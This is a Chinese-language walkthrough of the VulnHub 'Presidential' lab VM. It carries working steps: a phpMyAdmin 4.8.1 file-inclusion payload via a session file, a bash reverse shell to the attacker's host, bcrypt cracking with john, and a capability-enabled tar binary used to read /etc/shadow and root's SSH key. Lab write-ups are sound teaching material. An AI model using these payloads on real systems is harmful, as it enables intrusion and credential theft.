第二十七次打靶
靶机介绍
1)靶机地址:https://download.vulnhub.com/presidential/Presidential.ova
2)靶机难度:中
3)打靶目标: 取得 root 权限 + 2Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、备份文件、子域名爆破、phpmyadmin、密码爆破、本地文件包含、Capabilities、本地权限漏洞、SSH公钥认证
5)靶机简介:系统运维人员在进行版本更新时,通常会将老版本的文件改名备份一下,以便在出现异常情况时快速回滚。这原本是个好习惯,但如果升级成功后没有及时删除备份文件,则有可能被攻击者所发现,从而泄漏源码和硬编码的机密信息等。本次打靶们将利用这种方法,发现后台数据库的帐号、密码,找到数据库管理后台的登录页面,但由于后台绑定了指定的子域名,因此需要爆破发现该子域名,从而成功访问phpmyadmin登录页面,进而利用phpmyadmin的已知漏洞,通过文件包含漏洞突破边界。在数据库中会发现系统帐号的密码密文,通过密码爆破,将成功登录系统管理员的低权限帐号。进而利用Capabilities权限配置漏洞,将SSH公钥写入靶机root帐号主目录,并最终通过SSH共钥身份认证完全控制目标靶机。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程
1)主机发现
# arp-scan --interface eth1 172.24.10.0/24
2)端口扫描
①对目标靶机进行全端口扫描,发现开放了80、2082端口
# nmap -p- 172.24.10.133
②对发现的端口进行服务版本、漏洞扫描
# nmap -p80,2082 -sC -sV 172.24.10.133
通过扫描发现目标操作系统位centos,使用了PHP5.5.35,使用的请求方法为TRACE;将ssh服务默认的22端口,修改为了2082端口
3)对目标靶机80端口的web服务进行信息搜集
①对网页上能点的链接都进行点击,左上角有一个邮箱地址和域名相关
②将域名进行本地hosts文件解析,解析为目标靶机的IP地址
# vi /etc/hosts
172.24.10.133 votenow.local
③通过域名访问网站,发现和通过IP访问一致
④检查源代码,发现存在一些路径,对文件路径进行逐个检查,以及点击网站中所有可点击的链接,未发现任何有用的信息
⑤对网站路径进行爬取
# dirsearch -u http://votenow.local
Ⅰ、对/about.html进行访问,但是点击里面的其他链接,发现均无法打开,并且检查源码无更多信息发现
Ⅱ、访问/config.php,返回的是一个空白页面,说明是一个配置页面,查看源代码也未发现有用信息
#浏览器访问:
http://votenow.local/config.php
Ⅲ、查看/config.php.bak文件,通过文件名可知是一个备份文件,检查源码发现隐藏了数据库账号、密码、数据库名
#浏览器访问:
view-source:http://votenow.local/config.php.bak
⑥通过ssh利用账号votebox登录目标靶机,密码无法使用,发现目标主机使用公钥身份认证,不支持密码连接ssh服务
# ssh [email protected] -p 2082
⑦因网站首页中包含了域名,因此尝试对靶机进行子域名爆破
# gobuster vhost -u http://votenow.local/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep "Status: 200"
通过扫描发现了子域名datasafe.votenow.local
⑧在本地hosts文件中,将域名和靶机IP地址进行绑定
# vim /etc/hosts
172.24.10.133 datasafe.votenow.local
⑨通过访问域名,发现是一个phpmyadmin的页面
#浏览器访问:
http://datasafe.votenow.local
⑩输入之前(第五步)发现的用户名votebox和密码casoj3FFASPsbyoRP登录phpmyadmin,发现直接将进入phpadmin后台
5)在votebox库中发现user表,并且存在admin账号和密码
用户名:admin
密码:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
查看phpmyadmin版本
#浏览器访问:
http://datasafe.votenow.local/README
发现phpMyAdmin版本为4.8.1
6)漏洞利用
①通过kali搜索phpmyadmin 4.8.1对应的漏洞利用脚本
#searchsploit phpmyadmin 4.8.1
②查看本地文件漏洞利用文档44928.txt
#cat /usr/share/exploitdb/exploits/php/webapps/44928.txt
根据上述文档描述,需要先执行SQL语句,之后获取到phpmyadmin的登录会话session,通过连接进行利用
③在phpmyadmin中执行SQL语句
select '<?php phpinfo();exit;?>'
④获取到当前页面的session
kf9r6h3q2982gd4638ug6pt84jj6evnk
⑤构造payload
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_kf9r6h3q2982gd4638ug6pt84jj6evnk
注:需要注意的是在KALI中找到的这个payload var/lib/php/sessions/多了一个s需要去掉,即将sessions修改为session
从上图可知phpinfo代码被执行,说明可以通过pypmyadmin进行执行攻击性代码
7)反弹shell,突破边界
①先退出phpmyadmin,获取到新的session:94qbri339p5on06g24vkj093sjholq6d
②将phpinfo()修改为system("bash -i >& /dev/tcp 172.24.10.136 4444 0>&1"),执行SQL语句
select '<?php system("bash -i >& /dev/tcp/172.24.10.136/4444 0>&1");exit;?>'
⑦kali进行反弹shell监听,并且继续在浏览器执行上述payload,反弹shell成功,突破边界
#kali主机:
nc -lvvp 4444
#浏览器:
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_94qbri339p5on06g24vkj093sjholq6d
8)提权信息搜集
①通过查看内核版本为3.10.0,尝试通过脏牛漏洞提权,未成功。且未发现sudo权限
②查看用户文件,在/etc/passwd中发现一个admin账号,并且支持登录
$ cat /etc/passwd
③尝试对phpmyadmin中发现的admin用户的密码进行hash暴力破解,获取到admin的明文密码
#vi hash
$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
# cp /usr/share/wordlists/rockyou.txt.gz .
# gunzip rockyou.txt.gz
# john --wordlist=rockyou.txt ./hash
通过破解发现,admin用户的明文密码为Stella
④通过su切换至admin用户,密码输入Stella;执行id命令,发现已经是admin用户了
$ su admin
Password: Stella
$id
⑤对终端进行升级
which python
python -c "import pty;pty.spawn('/bin/bash')"
⑥检查发现admin用户不具备sudo和具有suid权限
$ sudo -l
$ find / -user root -perm -4000 -print 2>/dev/null
⑦通过Linux操作系统的capabilities机制进行提权(在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作)
注:Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng;libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities
#查看哪些文件设置了capabilities
$ getcap -r / 2>/dev/null
⑧对上述文件按个查看权限,发现/usr/bin/tarS 属主和属组都是admin权限
$ ls -l /usr/bin/tarS
⑨通过查案tarS命令发现,该命令就相当于tar命令的用法
$ tarS --help
因tarS文件capabilities具备机制,因此可以不受操作系统文件系统的限制,可以读取和搜索操作系统中所有的文件
9)提权
①尝试获取root用户在密码文件中保存的hash密文进行暴力破解,未破解出密码
cd
tarS -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cd etc/
chmod 700 shadow
cat shadow
②尝试通过tarS命令,读取root用户的私钥
$cd
$tarS -cvf root.tar /root/.ssh/id_rsa
$tar -xvf root.tar
$cat root/.ssh/id_rsa
③通过root用户的私钥,直接登录目标靶机
$ ssh -i id_rsa root@localhost -p 2082
#ls -l
# cat root-final-flag.txt